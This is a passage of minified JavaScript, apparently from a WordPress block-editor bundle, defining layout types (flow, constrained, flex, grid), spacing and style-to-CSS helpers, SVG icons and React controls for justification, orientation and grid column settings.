15v5H11v-5H4V9h7V4h1.5v5h7v6h-7Z"})}),tc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z"})}),nc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9 15h6V9H9v6zm-5 5h1.5V4H4v16zM18.5 4v16H20V4h-1.5z"})}),oc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M4 4H5.5V20H4V4ZM7 10L17 10V14L7 14V10ZM20 4H18.5V20H20V4Z"})}),ic=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z"})}),rc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z"})}),lc={default:{name:"default",slug:"flow",className:"is-layout-flow",baseStyles:[{selector:" > .alignleft",rules:{float:"left","margin-inline-start":"0","margin-inline-end":"2em"}},{selector:" > .alignright",rules:{float:"right","margin-inline-start":"2em","margin-inline-end":"0"}},{selector:" > .aligncenter",rules:{"margin-left":"auto !important","margin-right":"auto !important"}}],spacingStyles:[{selector:" > :first-child",rules:{"margin-block-start":"0"}},{selector:" > :last-child",rules:{"margin-block-end":"0"}},{selector:" > *",rules:{"margin-block-start":null,"margin-block-end":"0"}}]},constrained:{name:"constrained",slug:"constrained",className:"is-layout-constrained",baseStyles:[{selector:" > .alignleft",rules:{float:"left","margin-inline-start":"0","margin-inline-end":"2em"}},{selector:" > .alignright",rules:{float:"right","margin-inline-start":"2em","margin-inline-end":"0"}},{selector:" > .aligncenter",rules:{"margin-left":"auto !important","margin-right":"auto !important"}},{selector:" > :where(:not(.alignleft):not(.alignright):not(.alignfull))",rules:{"max-width":"var(--wp--style--global--content-size)","margin-left":"auto !important","margin-right":"auto !important"}},{selector:" > .alignwide",rules:{"max-width":"var(--wp--style--global--wide-size)"}}],spacingStyles:[{selector:" > :first-child",rules:{"margin-block-start":"0"}},{selector:" > :last-child",rules:{"margin-block-end":"0"}},{selector:" > *",rules:{"margin-block-start":null,"margin-block-end":"0"}}]},flex:{name:"flex",slug:"flex",className:"is-layout-flex",displayMode:"flex",baseStyles:[{selector:"",rules:{"flex-wrap":"wrap","align-items":"center"}},{selector:" > :is(*, div)",rules:{margin:"0"}}],spacingStyles:[{selector:"",rules:{gap:null}}]},grid:{name:"grid",slug:"grid",className:"is-layout-grid",displayMode:"grid",baseStyles:[{selector:" > :is(*, div)",rules:{margin:"0"}}],spacingStyles:[{selector:"",rules:{gap:null}}]}};function sc(e,t=""){return e.split(",").map((e=>`${e}${t?` ${t}`:""}`)).join(",")}function ac(e,t=lc,n,o){var i,r;let l="";return null!=t&&null!==(i=t[n])&&void 0!==i&&null!==(r=i.spacingStyles)&&void 0!==r&&r.length&&o&&t[n].spacingStyles.forEach((t=>{l+=`${sc(e,t.selector.trim())} { `,l+=Object.entries(t.rules).map((([e,t])=>`${e}: ${t||o}`)).join("; "),l+="; }"})),l}function cc(e){const{contentSize:t,wideSize:n,type:o="default"}=e,i={},r=/^(?!0)\d+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i;return r.test(t)&&"constrained"===o&&(// translators: %s: container size (i.e. 600px etc) i.none=(0,Je.sprintf)((0,Je.__)("Max %s wide","kubio"),t)),r.test(n)&&(// translators: %s: container size (i.e. 600px etc) i.wide=(0,Je.sprintf)((0,Je.__)("Max %s wide","kubio"),n)),i}const uc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z"})}),dc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m4.5 7.5v9h1.5v-9z"}),(0,Nt.jsx)(Rt.Path,{d:"m18 7.5v9h1.5v-9z"})]}),pc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9z"}),(0,Nt.jsx)(Rt.Path,{d:"m7.5 19.5h9v-1.5h-9z"})]}),hc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m16.5 6h-9v-1.5h9z"})]}),gc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m18 16.5v-9h1.5v9z"})]}),fc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m16.5 19.5h-9v-1.5h9z"})]}),mc=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z",style:{opacity:.25}}),(0,Nt.jsx)(Rt.Path,{d:"m4.5 16.5v-9h1.5v9z"})]}),vc=8,bc=["top","right","bottom","left"],kc={top:void 0,right:void 0,bottom:void 0,left:void 0},_c={custom:uc,axial:uc,horizontal:dc,vertical:pc,top:hc,right:gc,bottom:fc,left:mc},yc={default:(0,Je.__)("Spacing control"),top:(0,Je.__)("Top"),bottom:(0,Je.__)("Bottom"),left:(0,Je.__)("Left"),right:(0,Je.__)("Right"),mixed:(0,Je.__)("Mixed"),vertical:(0,Je.__)("Vertical"),horizontal:(0,Je.__)("Horizontal"),axial:(0,Je.__)("Horizontal & vertical"),custom:(0,Je.__)("Custom")},xc={axial:"axial",top:"top",right:"right",bottom:"bottom",left:"left",custom:"custom"};function Sc(e){return!(null==e||!e.includes)&&("0"===e||e.includes("var:preset|spacing|"))}function wc(e,t){if(!Sc(e))return e;const n=Ic(e),o=t.find((e=>String(e.slug)===n));return null==o?void 0:o.size}function Cc(e,t){if(!e||Sc(e)||"0"===e)return e;const n=t.find((t=>String(t.size)===String(e)));return null!=n&&n.slug?`var:preset|spacing|${n.slug}`:e}function Bc(e){if(!e)return;const t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function Ic(e){if(!e)return;if("0"===e||"default"===e)return e;const t=e.match(/var:preset\|spacing\|(.+)/);return t?t[1]:void 0}function jc(e,t){if(!e||!e.length)return!1;const n=e.includes("horizontal")||e.includes("left")&&e.includes("right"),o=e.includes("vertical")||e.includes("top")&&e.includes("bottom");return"horizontal"===t?n:"vertical"===t?o:n||o}function Ec(e,t="0"){const n=function(e){if(!e)return null;const t="string"==typeof e;return{top:t?e:null==e?void 0:e.top,left:t?e:null==e?void 0:e.left}}(e);if(!n)return null;const o=Bc(null==n?void 0:n.top)||t,i=Bc(null==n?void 0:n.left)||t;return o===i?o:`${o} ${i}`}const Tc={left:"flex-start",right:"flex-end",center:"center","space-between":"space-between"},Pc={left:"flex-start",right:"flex-end",center:"center",stretch:"stretch"},Mc={top:"flex-start",center:"center",bottom:"flex-end",stretch:"stretch","space-between":"space-between"},Rc=["wrap","nowrap"],Nc={name:"flex",label:(0,Je.__)("Flex"),inspectorControls:function({layout:e={},onChange:t,layoutBlockSupport:n={}}){const{allowOrientation:o=!0,allowJustification:i=!0}=n;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.Flex,{children:[i&&(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(Dc,{layout:e,onChange:t})}),o&&(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(zc,{layout:e,onChange:t})})]}),(0,Nt.jsx)(Oc,{layout:e,onChange:t})]})},toolBarControls:function({layout:e={},onChange:t,layoutBlockSupport:n}){const{allowVerticalAlignment:o=!0,allowJustification:i=!0}=n;return i||o?(0,Nt.jsxs)(H_,{group:"block",__experimentalShareWithChildBlocks:!0,children:[i&&(0,Nt.jsx)(Dc,{layout:e,onChange:t,isToolbar:!0}),o&&(0,Nt.jsx)(Ac,{layout:e,onChange:t})]}):null},getLayoutStyle:function({selector:e,layout:t,style:n,blockName:o,hasBlockGapSupport:i,layoutDefinitions:r=lc}){var l,s;const{orientation:a="horizontal"}=t,c=null!=n&&null!==(l=n.spacing)&&void 0!==l&&l.blockGap&&!DM(o,"spacing","blockGap")?Ec(null==n||null===(s=n.spacing)||void 0===s?void 0:s.blockGap,"0.5em"):void 0,u=Tc[t.justifyContent],d=Rc.includes(t.flexWrap)?t.flexWrap:"wrap",p=Mc[t.verticalAlignment],h=Pc[t.justifyContent]||Pc.left;let g="";const f=[];return d&&"wrap"!==d&&f.push(`flex-wrap: ${d}`),"horizontal"===a?(p&&f.push(`align-items: ${p}`),u&&f.push(`justify-content: ${u}`)):(p&&f.push(`justify-content: ${p}`),f.push("flex-direction: column"),f.push(`align-items: ${h}`)),f.length&&(g=`${sc(e)} {\n\t\t\t\t${f.join("; ")};\n\t\t\t}`),i&&c&&(g+=ac(e,r,"flex",c)),g},getOrientation(e){const{orientation:t="horizontal"}=e;return t},getAlignments:()=>[]};function Ac({layout:e,onChange:t}){const{orientation:n="horizontal"}=e,o="horizontal"===n?Mc.center:Mc.top,{verticalAlignment:i=o}=e;return(0,Nt.jsx)(BS,{onChange:n=>{t({...e,verticalAlignment:n})},value:i,controls:"horizontal"===n?["top","center","bottom","stretch"]:["top","center","bottom","space-between"]})}const Lc={placement:"bottom-start"};function Dc({layout:e,onChange:t,isToolbar:n=!1}){const{justifyContent:o="left",orientation:i="horizontal"}=e,r=n=>{t({...e,justifyContent:n})},l=["left","center","right"];if("horizontal"===i?l.push("space-between"):l.push("stretch"),n)return(0,Nt.jsx)(kC,{allowedControls:l,value:o,onChange:r,popoverProps:Lc});const s=[{value:"left",icon:Ja,label:(0,Je.__)("Justify items left")},{value:"center",icon:ec,label:(0,Je.__)("Justify items center")},{value:"right",icon:tc,label:(0,Je.__)("Justify items right")}];return"horizontal"===i?s.push({value:"space-between",icon:nc,label:(0,Je.__)("Space between items")}):s.push({value:"stretch",icon:oc,label:(0,Je.__)("Stretch items")}),(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Justification"),value:o,onChange:r,className:"block-editor-hooks__flex-layout-justification-controls",children:s.map((({value:e,icon:t,label:n})=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e,icon:t,label:n},e)))})}function Oc({layout:e,onChange:t}){const{flexWrap:n="wrap"}=e;return(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Allow to wrap to multiple lines"),onChange:n=>{t({...e,flexWrap:n?"wrap":"nowrap"})},checked:"wrap"===n})}function zc({layout:e,onChange:t}){const{orientation:n="horizontal",verticalAlignment:o,justifyContent:i}=e;return(0,Nt.jsxs)(ne.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:"block-editor-hooks__flex-layout-orientation-controls",label:(0,Je.__)("Orientation"),value:n,onChange:n=>{let r=o,l=i;return"horizontal"===n?("space-between"===o&&(r="center"),"stretch"===i&&(l="left")):("stretch"===o&&(r="top"),"space-between"===i&&(l="left")),t({...e,orientation:n,verticalAlignment:r,justifyContent:l})},children:[(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{icon:ic,value:"horizontal",label:(0,Je.__)("Horizontal")}),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{icon:rc,value:"vertical",label:(0,Je.__)("Vertical")})]})}const Fc={name:"default",label:(0,Je.__)("Flow"),inspectorControls:function(){return null},toolBarControls:function(){return null},getLayoutStyle:function({selector:e,style:t,blockName:n,hasBlockGapSupport:o,layoutDefinitions:i=lc}){var r;const l=Ec(null==t||null===(r=t.spacing)||void 0===r?void 0:r.blockGap);let s="";DM(n,"spacing","blockGap")||(null!=l&&l.top?s=Ec(null==l?void 0:l.top):"string"==typeof l&&(s=Ec(l)));let a="";return o&&s&&(a+=ac(e,i,"default",s)),a},getOrientation:()=>"vertical",getAlignments(e,t){const n=cc(e);if(void 0!==e.alignments)return e.alignments.includes("none")||e.alignments.unshift("none"),e.alignments.map((e=>({name:e,info:n[e]})));const o=[{name:"left"},{name:"center"},{name:"right"}];if(!t){const{contentSize:t,wideSize:i}=e;t&&o.unshift({name:"full"}),i&&o.unshift({name:"wide",info:n.wide})}return o.unshift({name:"none",info:n.none}),o}},Vc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z"})}),Hc=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M16 5.5H8V4h8v1.5ZM16 20H8v-1.5h8V20ZM5 9h14v6H5V9Z"})}),Gc="var:",$c="|",Uc="--",Wc=(e,t)=>{let n=e;return t.forEach((e=>{var t;n=null===(t=n)||void 0===t?void 0:t[e]})),n};function Kc(e,t,n,o){const i=Wc(e,n);return i?[{selector:null==t?void 0:t.selector,key:o,value:qc(i)}]:[]}function Zc(e,t,n,o,i=["top","right","bottom","left"]){const r=Wc(e,n);if(!r)return[];const l=[];if("string"==typeof r)l.push({selector:null==t?void 0:t.selector,key:o.default,value:r});else{const e=i.reduce(((e,n)=>{const i=qc(Wc(r,[n]));return i&&e.push({selector:null==t?void 0:t.selector,key:null==o?void 0:o.individual.replace("%s",Yc(n)),value:i}),e}),[]);l.push(...e)}return l}function qc(e){return"string"==typeof e&&e.startsWith(Gc)?`var(--wp--${e.slice(Gc.length).split($c).map((e=>Ue(e,{splitRegexp:[/([a-z0-9])([A-Z])/g,/([0-9])([a-z])/g,/([A-Za-z])([0-9])/g,/([A-Z])([A-Z][a-z])/g]}))).join(Uc)})`:e}function Yc(e){const[t,...n]=e;return t.toUpperCase()+n.join("")}function Xc(e){try{return decodeURI(e)}catch(t){return e}}function Qc(e){return(t,n)=>Kc(t,n,e,function(e){const[t,...n]=e;return t.toLowerCase()+n.map(Yc).join("")}(e))}function Jc(e){return(t,n)=>["color","style","width"].flatMap((o=>Qc(["border",e,o])(t,n)))}const eu={name:"radius",generate:(e,t)=>Zc(e,t,["border","radius"],{default:"borderRadius",individual:"border%sRadius"},["topLeft","topRight","bottomLeft","bottomRight"])},tu={name:"background",generate:(e,t)=>Kc(e,t,["color","background"],"backgroundColor")},nu={name:"gradient",generate:(e,t)=>Kc(e,t,["color","gradient"],"background")},ou={name:"text",generate:(e,t)=>Kc(e,t,["color","text"],"color")},iu={name:"minHeight",generate:(e,t)=>Kc(e,t,["dimensions","minHeight"],"minHeight")},ru={name:"aspectRatio",generate:(e,t)=>Kc(e,t,["dimensions","aspectRatio"],"aspectRatio")},lu={name:"backgroundImage",generate:(e,t)=>{var n;const o=null==e||null===(n=e.background)||void 0===n?void 0:n.backgroundImage;return"object"==typeof o&&null!=o&&o.url?[{selector:t.selector,key:"backgroundImage",value:`url( '${encodeURI(Xc(o.url))}' )`}]:Kc(e,t,["background","backgroundImage"],"backgroundImage")}},su={name:"backgroundPosition",generate:(e,t)=>Kc(e,t,["background","backgroundPosition"],"backgroundPosition")},au={name:"backgroundRepeat",generate:(e,t)=>Kc(e,t,["background","backgroundRepeat"],"backgroundRepeat")},cu={name:"backgroundSize",generate:(e,t)=>Kc(e,t,["background","backgroundSize"],"backgroundSize")},uu={name:"backgroundAttachment",generate:(e,t)=>Kc(e,t,["background","backgroundAttachment"],"backgroundAttachment")},du={name:"shadow",generate:(e,t)=>Kc(e,t,["shadow"],"boxShadow")},pu={name:"color",generate:(e,t,n=["outline","color"],o="outlineColor")=>Kc(e,t,n,o)},hu={name:"offset",generate:(e,t,n=["outline","offset"],o="outlineOffset")=>Kc(e,t,n,o)},gu={name:"style",generate:(e,t,n=["outline","style"],o="outlineStyle")=>Kc(e,t,n,o)},fu={name:"width",generate:(e,t,n=["outline","width"],o="outlineWidth")=>Kc(e,t,n,o)},mu={name:"padding",generate:(e,t)=>Zc(e,t,["spacing","padding"],{default:"padding",individual:"padding%s"})},vu={name:"margin",generate:(e,t)=>Zc(e,t,["spacing","margin"],{default:"margin",individual:"margin%s"})},bu={name:"fontSize",generate:(e,t)=>Kc(e,t,["typography","fontSize"],"fontSize")},ku={name:"fontStyle",generate:(e,t)=>Kc(e,t,["typography","fontStyle"],"fontStyle")},_u={name:"fontWeight",generate:(e,t)=>Kc(e,t,["typography","fontWeight"],"fontWeight")},yu={name:"fontFamily",generate:(e,t)=>Kc(e,t,["typography","fontFamily"],"fontFamily")},xu={name:"letterSpacing",generate:(e,t)=>Kc(e,t,["typography","letterSpacing"],"letterSpacing")},Su={name:"lineHeight",generate:(e,t)=>Kc(e,t,["typography","lineHeight"],"lineHeight")},wu={name:"textColumns",generate:(e,t)=>Kc(e,t,["typography","textColumns"],"columnCount")},Cu={name:"textDecoration",generate:(e,t)=>Kc(e,t,["typography","textDecoration"],"textDecoration")},Bu={name:"textTransform",generate:(e,t)=>Kc(e,t,["typography","textTransform"],"textTransform")},Iu={name:"writingMode",generate:(e,t)=>Kc(e,t,["typography","writingMode"],"writingMode")},ju=[{name:"color",generate:Qc(["border","color"])},{name:"style",generate:Qc(["border","style"])},{name:"width",generate:Qc(["border","width"])},eu,{name:"borderTop",generate:Jc("top")},{name:"borderRight",generate:Jc("right")},{name:"borderBottom",generate:Jc("bottom")},{name:"borderLeft",generate:Jc("left")},ou,nu,tu,iu,ru,pu,gu,hu,fu,vu,mu,yu,bu,ku,_u,xu,Su,wu,Cu,Bu,Iu,du,lu,su,au,cu,uu];function Eu(e,t={}){const n=Tu(e,t);if(null==t||!t.selector){const e=[];return n.forEach((t=>{e.push(`${Ue(t.key)}: ${t.value};`)})),e.join(" ")}const o=n.reduce(((e,t)=>{const{selector:n}=t;return n?(e[n]||(e[n]=[]),e[n].push(t),e):e}),{});return Object.keys(o).reduce(((e,t)=>(e.push(`${t} { ${o[t].map((e=>`${Ue(e.key)}: ${e.value};`)).join(" ")} }`),e)),[]).join("\n")}function Tu(e,t={}){const n=[];return ju.forEach((o=>{"function"==typeof o.generate&&n.push(...o.generate(e,t))})),n}const Pu={name:"constrained",label:(0,Je.__)("Constrained"),inspectorControls:function({layout:e,onChange:t,layoutBlockSupport:n={}}){const{wideSize:o,contentSize:i,justifyContent:r="center"}=e,{allowJustification:l=!0,allowCustomContentAndWideSize:s=!0}=n,a=[{value:"left",icon:Ja,label:(0,Je.__)("Justify items left")},{value:"center",icon:ec,label:(0,Je.__)("Justify items center")},{value:"right",icon:tc,label:(0,Je.__)("Justify items right")}],[c]=Vs("spacing.units"),u=(0,ne.__experimentalUseCustomUnits)({availableUnits:c||["%","px","em","rem","vw"]});return(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:4,className:"block-editor-hooks__layout-constrained",children:[s&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Content width"),labelPosition:"top",value:i||o||"",onChange:n=>{n=0>parseFloat(n)?"0":n,t({...e,contentSize:n})},units:u,prefix:(0,Nt.jsx)(ne.__experimentalInputControlPrefixWrapper,{variant:"icon",children:(0,Nt.jsx)(Ua,{icon:Vc})})}),(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Wide width"),labelPosition:"top",value:o||i||"",onChange:n=>{n=0>parseFloat(n)?"0":n,t({...e,wideSize:n})},units:u,prefix:(0,Nt.jsx)(ne.__experimentalInputControlPrefixWrapper,{variant:"icon",children:(0,Nt.jsx)(Ua,{icon:Hc})})}),(0,Nt.jsx)("p",{className:"block-editor-hooks__layout-constrained-helptext",children:(0,Je.__)("Customize the width for all elements that are assigned to the center or wide columns.")})]}),l&&(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Justification"),value:r,onChange:n=>{t({...e,justifyContent:n})},children:a.map((({value:e,icon:t,label:n})=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e,icon:t,label:n},e)))})]})},toolBarControls:function({layout:e={},onChange:t,layoutBlockSupport:n}){const{allowJustification:o=!0}=n;return o?(0,Nt.jsx)(H_,{group:"block",__experimentalShareWithChildBlocks:!0,children:(0,Nt.jsx)(Ru,{layout:e,onChange:t})}):null},getLayoutStyle:function({selector:e,layout:t={},style:n,blockName:o,hasBlockGapSupport:i,layoutDefinitions:r=lc}){var l,s;const{contentSize:a,wideSize:c,justifyContent:u}=t,d=Ec(null==n||null===(l=n.spacing)||void 0===l?void 0:l.blockGap);let p="";DM(o,"spacing","blockGap")||(null!=d&&d.top?p=Ec(null==d?void 0:d.top):"string"==typeof d&&(p=Ec(d)));const h="left"===u?"0 !important":"auto !important",g="right"===u?"0 !important":"auto !important";let f=a||c?`\n\t\t\t\t\t${sc(e,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")} {\n\t\t\t\t\t\tmax-width: ${null!=a?a:c};\n\t\t\t\t\t\tmargin-left: ${h};\n\t\t\t\t\t\tmargin-right: ${g};\n\t\t\t\t\t}\n\t\t\t\t\t${sc(e,"> .alignwide")} {\n\t\t\t\t\t\tmax-width: ${null!=c?c:a};\n\t\t\t\t\t}\n\t\t\t\t\t${sc(e,"> .alignfull")} {\n\t\t\t\t\t\tmax-width: none;\n\t\t\t\t\t}\n\t\t\t\t`:"";return"left"===u?f+=`${sc(e,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")}\n\t\t\t{ margin-left: ${h}; }`:"right"===u&&(f+=`${sc(e,"> :where(:not(.alignleft):not(.alignright):not(.alignfull))")}\n\t\t\t{ margin-right: ${g}; }`),null!=n&&null!==(s=n.spacing)&&void 0!==s&&s.padding&&Tu(n).forEach((t=>{"paddingRight"===t.key?f+=`\n\t\t\t\t\t${sc(e,"> .alignfull")} {\n\t\t\t\t\t\tmargin-right: calc(${t.value} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`:"paddingLeft"===t.key&&(f+=`\n\t\t\t\t\t${sc(e,"> .alignfull")} {\n\t\t\t\t\t\tmargin-left: calc(${t.value} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`)})),i&&p&&(f+=ac(e,r,"constrained",p)),f},getOrientation:()=>"vertical",getAlignments(e){const t=cc(e);if(void 0!==e.alignments)return e.alignments.includes("none")||e.alignments.unshift("none"),e.alignments.map((e=>({name:e,info:t[e]})));const{contentSize:n,wideSize:o}=e,i=[{name:"left"},{name:"center"},{name:"right"}];return n&&i.unshift({name:"full"}),o&&i.unshift({name:"wide",info:t.wide}),i.unshift({name:"none",info:t.none}),i}},Mu={placement:"bottom-start"};function Ru({layout:e,onChange:t}){const{justifyContent:n="center"}=e;return(0,Nt.jsx)(kC,{allowedControls:["left","center","right"],value:n,onChange:n=>{t({...e,justifyContent:n})},popoverProps:Mu})}const Nu={px:600,"%":100,vw:100,vh:100,em:38,rem:38,svw:100,lvw:100,dvw:100,svh:100,lvh:100,dvh:100,vi:100,svi:100,lvi:100,dvi:100,vb:100,svb:100,lvb:100,dvb:100,vmin:100,svmin:100,lvmin:100,dvmin:100,vmax:100,svmax:100,lvmax:100,dvmax:100},Au=[{value:"px",label:"px",default:0},{value:"rem",label:"rem",default:0},{value:"em",label:"em",default:0}],Lu={name:"grid",label:(0,Je.__)("Grid"),inspectorControls:function({layout:e={},onChange:t,layoutBlockSupport:n={}}){const{allowSizingOnChildren:o=!1}=n,i=window.__experimentalEnableGridInteractivity||!(null==e||!e.columnCount),r=window.__experimentalEnableGridInteractivity||!(null!=e&&e.columnCount);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(zu,{layout:e,onChange:t}),(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:4,children:[i&&(0,Nt.jsx)(Ou,{layout:e,onChange:t,allowSizingOnChildren:o}),r&&(0,Nt.jsx)(Du,{layout:e,onChange:t})]})]})},toolBarControls:function(){return null},getLayoutStyle:function({selector:e,layout:t,style:n,blockName:o,hasBlockGapSupport:i,layoutDefinitions:r=lc}){var l,s;const{minimumColumnWidth:a=null,columnCount:c=null,rowCount:u=null}=t,d=null!=n&&null!==(l=n.spacing)&&void 0!==l&&l.blockGap&&!DM(o,"spacing","blockGap")?Ec(null==n||null===(s=n.spacing)||void 0===s?void 0:s.blockGap,"0.5em"):void 0;let p="";const h=[];if(a&&c>0){const e=`max(${a}, ( 100% - (${d||"1.2rem"}*${c-1}) ) / ${c})`;h.push(`grid-template-columns: repeat(auto-fill, minmax(${e}, 1fr))`,"container-type: inline-size"),u&&h.push(`grid-template-rows: repeat(${u}, minmax(1rem, auto))`)}else c?(h.push(`grid-template-columns: repeat(${c}, minmax(0, 1fr))`),u&&h.push(`grid-template-rows: repeat(${u}, minmax(1rem, auto))`)):h.push(`grid-template-columns: repeat(auto-fill, minmax(min(${a||"12rem"}, 100%), 1fr))`,"container-type: inline-size");return h.length&&(p=`${sc(e)} { ${h.join("; ")}; }`),i&&d&&(p+=ac(e,r,"grid",d)),p},getOrientation:()=>"horizontal",getAlignments:()=>[]};function Du({layout:e,onChange:t}){const{minimumColumnWidth:n,columnCount:o,isManualPlacement:i}=e,r=n||(i||o?null:"12rem"),[l,s="rem"]=(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(r);return(0,Nt.jsxs)("fieldset",{children:[(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",children:(0,Je.__)("Minimum column width")}),(0,Nt.jsxs)(ne.Flex,{gap:4,children:[(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:(0,Nt.jsx)(ne.__experimentalUnitControl,{size:"__unstable-large",onChange:n=>{t({...e,minimumColumnWidth:""===n?void 0:n})},onUnitChange:n=>{let o;["em","rem"].includes(n)&&"px"===s?o=(l/16).toFixed(2)+n:["em","rem"].includes(s)&&"px"===n&&(o=Math.round(16*l)+n),t({...e,minimumColumnWidth:o})},value:r,units:Au,min:0,label:(0,Je.__)("Minimum column width"),hideLabelFromVision:!0})}),(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,onChange:n=>{t({...e,minimumColumnWidth:[n,s].join("")})},value:l||0,min:0,max:Nu[s]||600,withInputField:!1,label:(0,Je.__)("Minimum column width"),hideLabelFromVision:!0})})]})]})}function Ou({layout:e,onChange:t,allowSizingOnChildren:n}){const o=window.__experimentalEnableGridInteractivity?void 0:3,{columnCount:i=o,rowCount:r,isManualPlacement:l}=e;return(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsxs)("fieldset",{children:[(!window.__experimentalEnableGridInteractivity||!l)&&(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",children:(0,Je.__)("Columns")}),(0,Nt.jsxs)(ne.Flex,{gap:4,children:[(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:(0,Nt.jsx)(ne.__experimentalNumberControl,{size:"__unstable-large",onChange:n=>{if(window.__experimentalEnableGridInteractivity){const o=""===n||"0"===n?l?1:void 0:parseInt(n,10);t({...e,columnCount:o})}else{const 